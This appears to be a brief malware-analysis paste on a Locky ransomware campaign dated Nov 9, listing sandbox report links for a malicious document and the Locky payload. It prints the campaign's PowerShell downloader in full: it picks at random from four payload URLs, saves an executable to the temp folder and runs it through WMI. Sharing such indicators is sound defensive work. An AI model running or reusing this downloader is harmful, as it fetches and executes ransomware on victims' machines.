Locky Nov 9

doc:
https://www.hybrid-analysis.com/sample/f7c977cdc40b2cf1500b8af3257e4a923dd9128dd50a49748c86c2ee1be9b26b?environmentId=100

locky:
https://www.hybrid-analysis.com/sample/e37ffad79863d12a3b62190d653d8e4d7f0b88c261d83e85639699829db06f51?environmentId=100

http://with-hair.co.jp/505 ->:
$cpknos = "http://primeassociatesinc.com/kjgjhdg4","http://336.linux1.testsider.dk/kjgjhdg4","http://vallei-elektrotechniek.nl/kjgjhdg4","http://testbxc.u-host.ru/kjgjhdg4"
$cpknos = $cpknos | Sort-Object {Get-Random}
foreach($cpkno in $cpknos){
Try{
Write-Host $cpkno
$reap = "$env:temp\thickm2.exe"


$vill = (New-Object System.Net.WebClient)

$vill.DownloadFile([System.Uri]$cpkno, $reap)
$pclass = [wmiclass]'root\cimv2:Win32_Process'
$pclass.Create($reap, '.', $null)
break
}Catch{}}[